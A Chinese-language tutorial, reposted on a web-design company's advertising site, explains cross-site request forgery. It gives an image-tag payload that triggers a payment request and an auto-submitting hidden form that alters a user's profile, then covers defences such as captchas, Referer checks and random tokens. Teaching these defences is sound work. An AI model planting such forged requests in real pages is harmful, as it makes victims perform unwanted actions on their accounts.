0x00 簡(jiǎn)要介紹
東城網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián),東城網(wǎng)站設(shè)計(jì)制作,有大型網(wǎng)站制作公司豐富經(jīng)驗(yàn)。已為東城上千提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\成都外貿(mào)網(wǎng)站制作要多少錢,請(qǐng)找那個(gè)售后服務(wù)好的東城做網(wǎng)站的公司定做!CSRF(Cross-site request forgery)跨站請(qǐng)求偽造,由于目標(biāo)站無(wú) token/refer 限制,導(dǎo)致***者可以以用戶的身份完成操作達(dá)到各種目的。根據(jù)HTTP請(qǐng)求方式,CSRF利用方式可分為兩種
0x01 GET類型的CSRF
這種類型的CSRF一般是由于程序員安全意思不強(qiáng)造成的。GET類型的CSRF利用非常簡(jiǎn)單,只需要構(gòu)造一個(gè)HTTP請(qǐng)求,
一般會(huì)這樣利用:
<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>
當(dāng)目標(biāo)加載這個(gè)圖片時(shí)會(huì)自動(dòng)加載鏈接,這時(shí)就能完成***了。
例如:在一個(gè)留言或博客論壇的環(huán)境中,當(dāng)留言內(nèi)容沒(méi)有經(jīng)過(guò)過(guò)濾時(shí),可以按照上面的方法構(gòu)造一個(gè)刪除該文章的圖片鏈接。當(dāng)目標(biāo)查看博客留言時(shí),因?yàn)槭菆D片標(biāo)簽,所以瀏覽器會(huì)自動(dòng)加載該URL這時(shí),目標(biāo)處于登錄狀態(tài),那么該文章就會(huì)被刪除。這種就是CSRF-GET請(qǐng)求的一種利用。
0x02 POST類型的CSRF
所謂POST類型就是構(gòu)造一個(gè)自動(dòng)提交的表單,當(dāng)目標(biāo)點(diǎn)擊給標(biāo)簽時(shí),就會(huì)以POST的方式發(fā)送一次HTTP請(qǐng)求。
<!DOCTYPE html> <html> <head> <title>test csrf</title> </head> <body> <body> <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data"> <input type="hidden" name="email" value="123456@qq.com"> <input type="hidden" name="qq" value="123456"> <input type="hidden" name="telephone" value="12345678901"> <input type="hidden" name="bloglink" value="smdx"> <input type="hidden" name="description" value="xmsdx"> </form> <script>document.csrf.submit();</script> </body> </html>
以上內(nèi)容就是一個(gè)可以自動(dòng)提交的表單,當(dāng)用戶觸發(fā)時(shí),發(fā)送一次HTTP請(qǐng)求,修改個(gè)人信息。
0x03 如何修復(fù)
針對(duì)CSRF的防范:
關(guān)鍵的操作只接受POST請(qǐng)求,并且添加驗(yàn)證碼。
CSRF***的工程,往往是用戶在不知情的情況下觸發(fā)的,當(dāng)添加驗(yàn)證碼或確認(rèn)操作時(shí),就可以簡(jiǎn)單而有效防御CSRF了。
檢測(cè)refer
常見(jiàn)的互聯(lián)網(wǎng)頁(yè)面與頁(yè)面之間是存在聯(lián)系的,比如你在www.baidu.com應(yīng)該是找不到通往www.google.com的鏈接的,再比如你在 論壇留言,那么不管你留言后重定向到哪里去了,之前的那個(gè)網(wǎng)址一定會(huì)包含留言的輸入框,這個(gè)之前的網(wǎng)址就會(huì)保留在新頁(yè)面頭文件的Referer中
通過(guò)檢查Referer的值,我們就可以判斷這個(gè)請(qǐng)求是合法的還是非法的,但是問(wèn)題出在服務(wù)器不是任何時(shí)候都能接受到Referer的值,所以Refere Check 一般用于監(jiān)控CSRF***的發(fā)生,而不用來(lái)抵御***。
Token
目前主流的做法是使用Token抵御CSRF***。下面通過(guò)分析CSRF ***來(lái)理解為什么Token能夠有效
CSRF***要成功的條件在于***者能夠預(yù)測(cè)所有的參數(shù)從而構(gòu)造出合法的請(qǐng)求。所以根據(jù)不可預(yù)測(cè)性原則,我們可以對(duì)參數(shù)進(jìn)行加密從而防止CSRF***。
另一個(gè)更通用的做法是保持原有參數(shù)不變,另外添加一個(gè)參數(shù)Token,其值是隨機(jī)的。這樣***者因?yàn)椴恢繲oken而無(wú)法構(gòu)造出合法的請(qǐng)求進(jìn)行***。
Token 使用原則
Token要足夠隨機(jī)————只有這樣才算不可預(yù)測(cè) Token是一次性的,即每次請(qǐng)求成功后要更新Token————這樣可以增加***難度,增加預(yù)測(cè)難度 Token要注意保密性————敏感操作使用post,防止Token出現(xiàn)在URL中 ---參照學(xué)習(xí)與烏云drops
另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無(wú)理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。
標(biāo)題名稱:CSRF漏洞分析利用及防御-創(chuàng)新互聯(lián)
文章路徑:http://jinyejixie.com/article48/dsiiep.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供動(dòng)態(tài)網(wǎng)站、小程序開(kāi)發(fā)、電子商務(wù)、服務(wù)器托管、網(wǎng)站設(shè)計(jì)、Google
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容